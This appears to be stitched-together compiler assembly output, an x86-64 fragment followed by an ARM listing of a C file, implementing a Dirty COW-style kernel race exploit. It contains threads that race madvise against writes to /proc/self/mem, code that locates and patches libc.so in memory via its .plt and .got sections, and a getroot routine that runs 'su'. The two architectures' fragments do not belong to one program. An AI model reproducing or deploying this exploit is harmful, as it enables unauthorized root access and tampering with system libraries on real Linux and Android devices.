	mov	eax, DWORD PTR -236[rbp]
	mov	esi, eax
	lea	rdi, .LC29[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -232[rbp], 0
	jmp	.L67
.L70:
	mov	eax, DWORD PTR -232[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	mov	eax, DWORD PTR -236[rbp]
	cdqe
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	cmp	DWORD PTR -244[rbp], eax
	jne	.L68
	mov	eax, DWORD PTR -232[rbp]
	mov	esi, eax
	lea	rdi, .LC30[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L69
.L68:
	add	DWORD PTR -232[rbp], 1
.L67:
	mov	eax, DWORD PTR -248[rbp]
	cmp	DWORD PTR -232[rbp], eax
	jl	.L70
.L69:
	mov	eax, DWORD PTR -232[rbp]
	lea	edx, 0[0+rax*4]
	mov	eax, DWORD PTR -240[rbp]
	add	eax, edx
	mov	DWORD PTR -228[rbp], eax
	mov	edx, DWORD PTR -256[rbp]
	mov	eax, DWORD PTR -228[rbp]
	add	eax, edx
	mov	eax, eax
	mov	QWORD PTR -208[rbp], rax
	lea	rdi, .LC31[rip]
	call	get_func_addr
	mov	QWORD PTR -200[rbp], rax
	mov	eax, DWORD PTR -252[rbp]
	sub	eax, 144
	mov	DWORD PTR -224[rbp], eax
	mov	DWORD PTR -220[rbp], 0
	mov	DWORD PTR -216[rbp], 0
	mov	DWORD PTR -232[rbp], 0
	jmp	.L71
.L72:
	add	DWORD PTR -232[rbp], 1
.L71:
	cmp	DWORD PTR -232[rbp], 255
	jle	.L72
	call	getpid@PLT
	mov	esi, eax
	mov	edi, DWORD PTR -224[rbp]
	mov	rcx, QWORD PTR -208[rbp]
	mov	edx, DWORD PTR -216[rbp]
	mov	rax, QWORD PTR -200[rbp]
	mov	r9d, edi
	mov	r8, rcx
	mov	ecx, edx
	mov	rdx, rax
	lea	rdi, .LC32[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -224[rbp]
	cdqe
	mov	rdx, -72
	sub	rdx, rax
	mov	rax, QWORD PTR -208[rbp]
	add	rax, rdx
	mov	DWORD PTR -228[rbp], eax
	mov	eax, DWORD PTR -224[rbp]
	lea	edx, 124[rax]
	mov	eax, DWORD PTR -216[rbp]
	sub	eax, edx
	mov	DWORD PTR -220[rbp], eax
	lea	rax, -160[rbp]
	lea	rdx, 116[rax]
	mov	eax, DWORD PTR -220[rbp]
	lea	ecx, 3[rax]
	test	eax, eax
	cmovs	eax, ecx
	sar	eax, 2
	mov	DWORD PTR [rdx], eax
	mov	BYTE PTR -41[rbp], -22
	lea	rax, -160[rbp]
	lea	rdx, 136[rax]
	mov	eax, DWORD PTR -228[rbp]
	mov	DWORD PTR [rdx], eax
	mov	eax, DWORD PTR -228[rbp]
	mov	esi, eax
	lea	rdi, .LC33[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -224[rbp]
	cdqe
	mov	rcx, rax
	lea	rax, -160[rbp]
	mov	edx, 144
	mov	rsi, rax
	mov	rdi, rcx
	call	patch
	movabs	rax, -2265380925919477756
	mov	edx, 3778019100
	mov	QWORD PTR -192[rbp], rax
	mov	QWORD PTR -184[rbp], rdx
	mov	BYTE PTR -176[rbp], 0
	mov	rax, QWORD PTR -200[rbp]
	mov	edx, eax
	mov	eax, DWORD PTR -224[rbp]
	sub	eax, edx
	mov	DWORD PTR -212[rbp], eax
	mov	edx, DWORD PTR -212[rbp]
	mov	eax, DWORD PTR -224[rbp]
	mov	esi, eax
	lea	rdi, .LC34[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -192[rbp]
	add	rax, 12
	mov	edx, DWORD PTR -212[rbp]
	sub	edx, 12
	mov	DWORD PTR [rax], edx
	lea	rcx, -192[rbp]
	mov	rax, QWORD PTR -200[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	rdi, rax
	call	patch
	mov	edi, 0
	call	exit@PLT
	.cfi_endproc
.LFE16:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"622061.c"
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	check, %function
check:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	ldr	r0, [r3, #96]
	ldr	r3, [fp, #-8]
	ldr	r1, [r3, #100]
	ldr	r3, [fp, #-8]
	ldr	r3, [r3, #104]
	mov	r2, r3
	bl	memcmp
	mov	r3, r0
	cmp	r3, #0
	moveq	r3, #1
	movne	r3, #0
	and	r3, r3, #255
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	check, .-check
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	madviseThread, %function
madviseThread:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	ldr	r3, [fp, #-24]
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #88]
	bic	r3, r3, #4080
	bic	r3, r3, #15
	str	r3, [fp, #-12]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #88]
	mov	r2, r3
	ldr	r3, [fp, #-12]
	sub	r3, r2, r3
	str	r3, [fp, #-8]
	mov	r3, #0
	str	r3, [fp, #-20]
	b	.L4
.L7:
	mov	r2, #4
	ldr	r1, [fp, #-8]
	ldr	r0, [fp, #-12]
	bl	madvise
	ldr	r3, [fp, #-20]
	lsl	r3, r3, #20
	lsr	r3, r3, #20
	cmp	r3, #0
	bne	.L5
	ldr	r0, [fp, #-16]
	bl	check
	mov	r3, r0
	cmp	r3, #0
	bne	.L9
.L5:
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	str	r3, [fp, #-20]
.L4:
	ldr	r3, [fp, #-20]
	cmp	r3, #16777216
	blt	.L7
	b	.L6
.L9:
	nop
.L6:
	mov	r3, #0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	madviseThread, .-madviseThread
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/proc/self/mem\000"
	.align	2
.LC1:
	.ascii	"open(\"/proc/self/mem\"\000"
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	procselfmemThread, %function
procselfmemThread:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	ldr	r3, [fp, #-24]
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #96]
	str	r3, [fp, #-12]
	mov	r1, #2
	ldr	r0, .L18
	bl	open
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	cmn	r3, #1
	bne	.L11
	ldr	r1, .L18+4
	mov	r0, #1
	bl	err
.L11:
	mov	r3, #0
	str	r3, [fp, #-20]
	b	.L12
.L15:
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #88]
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-8]
	bl	lseek
	ldr	r3, [fp, #-16]
	ldr	r3, [r3, #104]
	mov	r2, r3
	ldr	r1, [fp, #-12]
	ldr	r0, [fp, #-8]
	bl	write
	ldr	r3, [fp, #-20]
	lsl	r3, r3, #20
	lsr	r3, r3, #20
	cmp	r3, #0
	bne	.L13
	ldr	r0, [fp, #-16]
	bl	check
	mov	r3, r0
	cmp	r3, #0
	bne	.L17
.L13:
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	str	r3, [fp, #-20]
.L12:
	ldr	r3, [fp, #-20]
	cmp	r3, #16777216
	blt	.L15
	b	.L14
.L17:
	nop
.L14:
	ldr	r0, [fp, #-8]
	bl	close
	mov	r3, #0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L19:
	.align	2
.L18:
	.word	.LC0
	.word	.LC1
	.size	procselfmemThread, .-procselfmemThread
	.section	.rodata
	.align	2
.LC2:
	.ascii	"r\000"
	.align	2
.LC3:
	.ascii	"/proc/self/maps\000"
	.align	2
.LC4:
	.ascii	"fopen(\"/proc/self/maps\")\000"
	.align	2
.LC5:
	.ascii	"%x-%x %s %*x %*x:%*x %*Lu %s\000"
	.align	2
.LC6:
	.ascii	"r-xp\000"
	.align	2
.LC7:
	.ascii	"/libc.so\000"
	.align	2
.LC8:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_range, %function
get_range:
	@ args = 0, pretend = 0, frame = 8248
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #8256
	sub	sp, sp, #4
	sub	r3, fp, #8192
	sub	r3, r3, #12
	str	r0, [r3, #-52]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	str	r1, [r3, #-56]
	ldr	r3, .L29
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	mvn	r3, #0
	str	r3, [r2, #-44]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r4, r3
	ldr	r1, .L29+4
	ldr	r0, .L29+8
	bl	fopen
	str	r0, [r4, #-40]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-40]
	cmp	r3, #0
	bne	.L22
	ldr	r1, .L29+12
	mov	r0, #1
	bl	err
.L26:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	sub	r0, fp, #8192
	sub	r0, r0, #12
	sub	r0, r0, #4
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	str	r3, [sp, #4]
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #36
	str	r3, [sp]
	ldr	r3, [r1, #-56]
	ldr	r2, [r2, #-52]
	ldr	r1, .L29+16
	bl	__isoc99_sscanf
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #36
	ldr	r1, .L29+20
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	bne	.L23
	b	.L22
.L23:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	ldr	r1, .L29+24
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	bne	.L24
	b	.L22
.L24:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-44]
	b	.L25
.L22:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #8192
	sub	r3, r3, #12
	sub	r3, r3, #4
	ldr	r2, [r2, #-40]
	mov	r1, #4096
	mov	r0, r3
	bl	fgets
	mov	r3, r0
	cmp	r3, #0
	bne	.L26
.L25:
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r0, [r3, #-40]
	bl	fclose
	sub	r3, fp, #8192
	sub	r3, r3, #12
	ldr	r3, [r3, #-44]
	ldr	r2, .L29
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L28
	bl	__stack_chk_fail
.L28:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L30:
	.align	2
.L29:
	.word	.LC8
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.size	get_range, .-get_range
	.section	.rodata
	.align	2
.LC9:
	.ascii	"su\000"
	.align	2
.LC10:
	.ascii	"failed to execute \"su\"\000"
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	getroot, %function
getroot:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	mov	r2, #0
	ldr	r1, .L32
	ldr	r0, .L32
	bl	execlp
	ldr	r1, .L32+4
	mov	r0, #1
	bl	err
.L33:
	.align	2
.L32:
	.word	.LC9
	.word	.LC10
	.size	getroot, .-getroot
	.section	.rodata
	.align	2
.LC11:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	exploit, %function
exploit:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	ldr	r3, .L36
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r0, fp, #16
	ldr	r3, [fp, #-24]
	ldr	r2, .L36+4
	mov	r1, #0
	bl	pthread_create
	sub	r0, fp, #12
	ldr	r3, [fp, #-24]
	ldr	r2, .L36+8
	mov	r1, #0
	bl	pthread_create
	ldr	r3, [fp, #-16]
	mov	r1, #0
	mov	r0, r3
	bl	pthread_join
	ldr	r3, [fp, #-12]
	mov	r1, #0
	mov	r0, r3
	bl	pthread_join
	nop
	ldr	r3, .L36
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L35
	bl	__stack_chk_fail
.L35:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L37:
	.align	2
.L36:
	.word	.LC11
	.word	madviseThread
	.word	procselfmemThread
	.size	exploit, .-exploit
	.section	.rodata
	.align	2
.LC12:
	.ascii	"libc.so\000"
	.align	2
.LC13:
	.ascii	"%s\012\000"
	.text
	.align	2
	.global	get_func_addr
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_func_addr, %function
get_func_addr:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #28
	str	r0, [fp, #-32]
	bl	dlerror
	mov	r1, #1
	ldr	r0, .L42
	bl	dlopen
	str	r0, [fp, #-24]
	ldr	r3, [fp, #-24]
	cmp	r3, #0
	bne	.L39
	ldr	r3, .L42+4
	ldr	r4, [r3]
	bl	dlerror
	mov	r3, r0
	mov	r2, r3
	ldr	r1, .L42+8
	mov	r0, r4
	bl	fprintf
	mov	r0, #1
	bl	exit
.L39:
	ldr	r1, [fp, #-32]
	ldr	r0, [fp, #-24]
	bl	dlsym
	str	r0, [fp, #-20]
	bl	dlerror
	str	r0, [fp, #-16]
	ldr	r3, [fp, #-16]
	cmp	r3, #0
	beq	.L40
	ldr	r3, .L42+4
	ldr	r3, [r3]
	ldr	r2, [fp, #-16]
	ldr	r1, .L42+8
	mov	r0, r3
	bl	fprintf
	mov	r0, #1
	bl	exit
.L40:
	ldr	r0, [fp, #-24]
	bl	dlclose
	ldr	r3, [fp, #-20]
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L43:
	.align	2
.L42:
	.word	.LC12
	.word	stderr
	.word	.LC13
	.size	get_func_addr, .-get_func_addr
	.section	.rodata
	.align	2
.LC14:
	.ascii	"failed to get range\000"
	.align	2
.LC15:
	.ascii	"[*] range: [%x-%x]\012\000"
	.align	2
.LC16:
	.ascii	"malloc\000"
	.align	2
.LC17:
	.ascii	"/system/lib/libc.so\000"
	.align	2
.LC18:
	.ascii	"open(\"/system/lib/libc.so\")\000"
	.align	2
.LC19:
	.ascii	"fstat\000"
	.align	2
.LC20:
	.ascii	"mmap\000"
	.align	2
.LC21:
	.ascii	"[*] mmap %p\012\000"
	.align	2
.LC22:
	.ascii	"[*] patch complete\012\000"
	.align	2
.LC23:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	patch
	.syntax unified
	.arm
	.fpu softvfp
	.type	patch, %function
patch:
	@ args = 0, pretend = 0, frame = 248
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #256
	str	r0, [fp, #-240]
	str	r1, [fp, #-244]
	str	r2, [fp, #-248]
	ldr	r3, .L51
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r2, fp, #228
	sub	r3, fp, #232
	mov	r1, r2
	mov	r0, r3
	bl	get_range
	mov	r3, r0
	cmp	r3, #0
	beq	.L45
	ldr	r1, .L51+4
	mov	r0, #1
	bl	errx
.L45:
	ldr	r3, [fp, #-232]
	ldr	r2, [fp, #-228]
	mov	r1, r3
	ldr	r0, .L51+8
	bl	printf
	ldr	r0, [fp, #-248]
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-36]
	ldr	r3, [fp, #-36]
	cmp	r3, #0
	bne	.L46
	ldr	r1, .L51+12
	mov	r0, #1
	bl	err
.L46:
	ldr	r3, [fp, #-240]
	str	r3, [fp, #-32]
	ldr	r3, [fp, #-36]
	ldr	r2, [fp, #-248]
	ldr	r1, [fp, #-244]
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-248]
	str	r3, [fp, #-28]
	mov	r1, #0
	ldr	r0, .L51+16
	bl	open
	str	r0, [fp, #-224]
	ldr	r3, [fp, #-224]
	cmn	r3, #1
	bne	.L47
	ldr	r1, .L51+20
	mov	r0, #1
	bl	err
.L47:
	sub	r3, fp, #220
	mov	r1, r3
	ldr	r0, [fp, #-224]
	bl	fstat
	mov	r3, r0
	cmn	r3, #1
	bne	.L48
	ldr	r1, .L51+24
	mov	r0, #1
	bl	err
.L48:
	ldr	r3, [fp, #-176]
	mov	r1, r3
	mov	r3, #0
	str	r3, [sp, #4]
	ldr	r3, [fp, #-224]
	str	r3, [sp]
	mov	r3, #2
	mov	r2, #1
	mov	r0, #0
	bl	mmap
	mov	r3, r0
	str	r3, [fp, #-24]
	ldr	r3, [fp, #-24]
	cmn	r3, #1
	bne	.L49
	ldr	r1, .L51+28
	mov	r0, #1
	bl	err
.L49:
	ldr	r0, [fp, #-224]
	bl	close
	ldr	r3, [fp, #-24]
	mov	r1, r3
	ldr	r0, .L51+32
	bl	printf
	sub	r3, fp, #132
	sub	r1, fp, #220
	mov	r2, #88
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-24]
	mov	r2, r3
	ldr	r3, [fp, #-232]
	sub	r3, r2, r3
	ldr	r2, [fp, #-240]
	add	r3, r2, r3
	str	r3, [fp, #-44]
	sub	r3, fp, #132
	mov	r0, r3
	bl	exploit
	ldr	r0, .L51+36
	bl	puts
	nop
	ldr	r3, .L51
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L50
	bl	__stack_chk_fail
.L50:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L52:
	.align	2
.L51:
	.word	.LC23
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.size	patch, .-patch
	.section	.rodata
	.align	2
.LC24:
	.ascii	"size erro.\000"
	.align	2
.LC25:
	.ascii	"rb\000"
	.align	2
.LC26:
	.ascii	"Open failed.\000"
	.align	2
.LC27:
	.ascii	".plt\000"
	.align	2
.LC28:
	.ascii	"sh_offset: %04X\012\000"
	.align	2
.LC29:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	plt_offset
	.syntax unified
	.arm
	.fpu softvfp
	.type	plt_offset, %function
plt_offset:
	@ args = 0, pretend = 0, frame = 200
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #200
	ldr	r3, .L65
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #180
	mov	r1, r3
	ldr	r0, .L65+4
	bl	stat
	mov	r3, r0
	cmp	r3, #0
	bge	.L54
	ldr	r0, .L65+8
	bl	puts
	mov	r3, #0
	b	.L53
.L54:
	ldr	r1, .L65+12
	ldr	r0, .L65+4
	bl	fopen
	str	r0, [fp, #-192]
	ldr	r3, [fp, #-192]
	cmp	r3, #0
	bne	.L56
	ldr	r0, .L65+16
	bl	puts
	b	.L53
.L56:
	mov	r2, #0
	mov	r1, #0
	ldr	r0, [fp, #-192]
	bl	fseek
	sub	r0, fp, #92
	ldr	r3, [fp, #-192]
	mov	r2, #1
	mov	r1, #52
	bl	fread
	ldrh	r3, [fp, #-44]
	mov	r2, r3
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-188]
	mov	r3, #0
	str	r3, [fp, #-196]
	mov	r3, #0
	str	r3, [fp, #-200]
	b	.L57
.L58:
	ldr	r2, [fp, #-60]
	ldr	r3, [fp, #-196]
	add	r3, r2, r3
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-192]
	bl	fseek
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r0, r3, r2
	ldr	r3, [fp, #-192]
	mov	r2, #1
	mov	r1, #40
	bl	fread
	ldrh	r3, [fp, #-46]
	mov	r2, r3
	ldr	r3, [fp, #-196]
	add	r3, r3, r2
	str	r3, [fp, #-196]
	ldr	r3, [fp, #-200]
	add	r3, r3, #1
	str	r3, [fp, #-200]
.L57:
	ldrh	r3, [fp, #-44]
	mov	r2, r3
	ldr	r3, [fp, #-200]
	cmp	r3, r2
	blt	.L58
	mov	r3, #0
	str	r3, [fp, #-196]
	ldrh	r3, [fp, #-42]
	cmp	r3, #0
	beq	.L59
	mov	r3, #0
	str	r3, [fp, #-200]
	b	.L60
.L62:
	ldrh	r3, [fp, #-42]
	mov	r2, r3
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r3, r3, r2
	ldr	r3, [r3, #16]
	str	r3, [fp, #-184]
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r3, r3, r2
	ldr	r2, [r3]
	ldr	r3, [fp, #-184]
	add	r3, r2, r3
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-192]
	bl	fseek
	sub	r0, fp, #40
	ldr	r3, [fp, #-192]
	mov	r2, #1
	mov	r1, #32
	bl	fread
	sub	r3, fp, #40
	ldr	r1, .L65+20
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L61
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r3, r3, r2
	ldr	r3, [r3, #16]
	mov	r1, r3
	ldr	r0, .L65+24
	bl	printf
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r3, r3, r2
	ldr	r3, [r3, #16]
	str	r3, [fp, #-196]
	b	.L59
.L61:
	ldr	r3, [fp, #-200]
	add	r3, r3, #1
	str	r3, [fp, #-200]
.L60:
	ldrh	r3, [fp, #-44]
	mov	r2, r3
	ldr	r3, [fp, #-200]
	cmp	r3, r2
	blt	.L62
.L59:
	ldr	r0, [fp, #-188]
	bl	free
	ldr	r0, [fp, #-192]
	bl	fclose
	ldr	r3, [fp, #-196]
.L53:
	ldr	r2, .L65
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L64
	bl	__stack_chk_fail
.L64:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L66:
	.align	2
.L65:
	.word	.LC29
	.word	.LC17
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	.LC28
	.size	plt_offset, .-plt_offset
	.section	.rodata
	.align	2
.LC30:
	.ascii	".got\000"
	.align	2
.LC31:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	got_memoffset
	.syntax unified
	.arm
	.fpu softvfp
	.type	got_memoffset, %function
got_memoffset:
	@ args = 0, pretend = 0, frame = 208
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #208
	str	r0, [fp, #-208]
	ldr	r3, .L79
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #180
	mov	r1, r3
	ldr	r0, .L79+4
	bl	stat
	mov	r3, r0
	cmp	r3, #0
	bge	.L68
	ldr	r0, .L79+8
	bl	puts
	mov	r3, #0
	b	.L67
.L68:
	ldr	r1, .L79+12
	ldr	r0, .L79+4
	bl	fopen
	str	r0, [fp, #-192]
	ldr	r3, [fp, #-192]
	cmp	r3, #0
	bne	.L70
	ldr	r0, .L79+16
	bl	puts
	b	.L67
.L70:
	mov	r2, #0
	mov	r1, #0
	ldr	r0, [fp, #-192]
	bl	fseek
	sub	r0, fp, #92
	ldr	r3, [fp, #-192]
	mov	r2, #1
	mov	r1, #52
	bl	fread
	ldrh	r3, [fp, #-44]
	ldrh	r2, [fp, #-46]
	mul	r3, r2, r3
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-188]
	mov	r3, #0
	str	r3, [fp, #-196]
	mov	r3, #0
	str	r3, [fp, #-200]
	b	.L71
.L72:
	ldr	r2, [fp, #-60]
	ldr	r3, [fp, #-196]
	add	r3, r2, r3
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-192]
	bl	fseek
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r0, r3, r2
	ldrh	r3, [fp, #-46]
	mov	r1, r3
	ldr	r3, [fp, #-192]
	mov	r2, #1
	bl	fread
	ldrh	r3, [fp, #-46]
	mov	r2, r3
	ldr	r3, [fp, #-196]
	add	r3, r3, r2
	str	r3, [fp, #-196]
	ldr	r3, [fp, #-200]
	add	r3, r3, #1
	str	r3, [fp, #-200]
.L71:
	ldrh	r3, [fp, #-44]
	mov	r2, r3
	ldr	r3, [fp, #-200]
	cmp	r3, r2
	blt	.L72
	mov	r3, #0
	str	r3, [fp, #-196]
	ldrh	r3, [fp, #-42]
	mov	r2, r3
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r3, r3, r2
	ldr	r3, [r3, #16]
	str	r3, [fp, #-184]
	ldrh	r3, [fp, #-42]
	cmp	r3, #0
	beq	.L73
	mov	r3, #0
	str	r3, [fp, #-200]
	b	.L74
.L76:
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r3, r3, r2
	ldr	r2, [r3]
	ldr	r3, [fp, #-184]
	add	r3, r2, r3
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-192]
	bl	fseek
	sub	r0, fp, #40
	ldr	r3, [fp, #-192]
	mov	r2, #1
	mov	r1, #32
	bl	fread
	sub	r3, fp, #40
	ldr	r1, .L79+20
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L75
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r3, r3, r2
	ldr	r3, [r3, #12]
	str	r3, [fp, #-196]
	ldr	r2, [fp, #-200]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #3
	mov	r2, r3
	ldr	r3, [fp, #-188]
	add	r3, r3, r2
	ldr	r3, [r3, #20]
	lsr	r3, r3, #2
	mov	r2, r3
	ldr	r3, [fp, #-208]
	str	r2, [r3]
	b	.L73
.L75:
	ldr	r3, [fp, #-200]
	add	r3, r3, #1
	str	r3, [fp, #-200]
.L74:
	ldrh	r3, [fp, #-44]
	mov	r2, r3
	ldr	r3, [fp, #-200]
	cmp	r3, r2
	blt	.L76
.L73:
	ldr	r0, [fp, #-188]
	bl	free
	ldr	r0, [fp, #-192]
	bl	fclose
	ldr	r3, [fp, #-196]
.L67:
	ldr	r2, .L79
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L78
	bl	__stack_chk_fail
.L78:
	mov	r0, r3
